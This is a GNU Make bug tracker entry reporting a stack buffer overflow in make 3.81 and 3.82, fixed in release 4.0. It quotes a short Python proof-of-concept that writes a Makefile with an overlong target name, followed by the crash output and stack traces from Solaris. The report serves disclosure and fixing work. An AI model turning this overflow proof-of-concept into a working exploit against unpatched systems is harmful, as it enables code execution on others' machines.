bugmake - Bugs: bug #35525, buffer overflow in make

 
 

bug #35525: buffer overflow in make

Submitted by:  Mike Sullivan <mike_s>
Submitted on:  Mon 13 Feb 2012 08:05:18 PM UTC  
 
Severity: 3 - NormalItem Group: Bug
Status: FixedPrivacy: Public
Assigned to: Paul D. Smith <psmith>Open/Closed: Closed
Component Version: 3.81Operating System: POSIX-Based
Fixed Release: 4.0Triage Status: None

Add a New Comment(Rich Markup)
   

You are not logged in

Please log in, so followups can be emailed to you.

 

Sun 26 Feb 2012 09:35:17 PM UTC, comment #1:

Fix promoted to CVS. Thanks!

Paul D. Smith <psmith>
Project AdministratorIn charge of this item.
Mon 13 Feb 2012 08:05:18 PM UTC, original submission:

as I kinda watch over gnu make in Solaris, this was pointed out to me (and I didn't find an open bug - feel free to close
if there is one):

http://www.mail-archive.com/bug-make@gnu.org/msg05105.html

the provided python script indeed causes core dumps on
x86 and sparc Solaris 11. 3.82 on x86 didn't, which made
me hopeful, but it did on sparc so I guess I just got lucky.

in 3.81:

{mike_s:doomsday:39} cat makeexploit.py
#Alfredo A. Ortega - Core Security Exploit Writers Team (EWT)
#GNU Make stack overflow
#This Python script generates a Makefile that trigger the overflow
#and executes a int3 instruction (SIGTRAP)
#Tested on FreeBSD-6.2-RELEASE
#usage: python makeexploit.py >Makefile;gmake

import os
#ShellCode placeholder
overflow='\xcc'*1052
#Address
overflow+='\xbf'*4
print "all: %s" % overflow

{mike_s:doomsday:40} gmake
gmake: stat: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������: File name too long
Segmentation fault (core dumped)
{mike_s:doomsday:41} pstack core
core 'core' of 6016: gmake
0002244c pattern_search (675bb, fff92b02, 0, 1, 3, 0) + d40
00021678 try_implicit_rule (6cca0, 3, 604ac, 0, 1000000, 54c00) + 4c
000328e4 update_file_1 (6cca0, 2, 10040000, 604a0, ff28fa23, 4) + 374
00032210 update_file (6cca0, 2, 6cca0, 0, 54c00, 6082c) + b4
000341a4 check_dep (0, 1, 10, 0, ffbfe8cc, 6cca0) + 3b0
00032ba4 update_file_1 (67390, 6cca0, 0, 4000000, 0, 1) + 634
00031ab4 update_goal_chain (0, 6c2c0, 67390, 0, 54c00, 67390) + 21c
00028ff8 main (61530, 0, 0, 60860, 61, 40f6c) + 2b00
00015fc8 _start (0, 0, 0, 0, 0, 0) + 108

in 3.82 (not sure that will help, but that area seemed to
change a bit):

{mike_s:doomsday:42} /usr/local/bin/gmake
gmake: stat: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������: File name too long
Bus error (core dumped)
{mike_s:doomsday:43} pstack core
core 'core' of 6019: /usr/local/bin/gmake
00020a10 try_implicit_rule (1, 3, 3afc0, 5b940, 0, 1) + 38
0002e5e8 update_file (3, 2, 0, 0, 0, 64770) + e24
0002ecd0 check_dep (64770, 2, 0, 1, ffbfe944, 1) + 3c
0002dd30 update_file (1, 0, 4cc00, 1, 0, 5b680) + 56c
0002f2b4 update_goal_chain (ffffffff, 5b680, 0, 0, 0, 1) + 118
000267d4 main (1, ffbff6a4, 0, 1, 0, 38c00) + 1534
00015b20 _start (0, 0, 0, 0, 0, 0) + 5c

Mike Sullivan <mike_s>

 

(Note: upload size limit is set to 16384 kB, after insertion of the required escape characters.)

Attach File(s):
   
   
Comment:
   

No files currently attached

 

Depends on the following items: None found

Items that depend on this one: None found

 

Carbon-Copy List
  • -unavailable- added by psmith (Posted a comment)
  • -unavailable- added by mike_s (Submitted the item)
  •  

    Do you think this task is very important?
    If so, you can click here to add your encouragement to it.
    This task has 0 encouragements so far.

    Only logged-in users can vote.

     

    Please enter the title of George Orwell's famous dystopian book (it's a date):

     

     

    Follow 4 latest changes.

    Date Changed By Updated Field Previous Value => Replaced By
    Sun 26 Feb 2012 09:35:17 PM UTCpsmithStatusNone=>Fixed
      Assigned toNone=>psmith
      Open/ClosedOpen=>Closed
      Fixed ReleaseNone=>4.0

    Back to the top


    Powered by Savane 3.1-cleanup1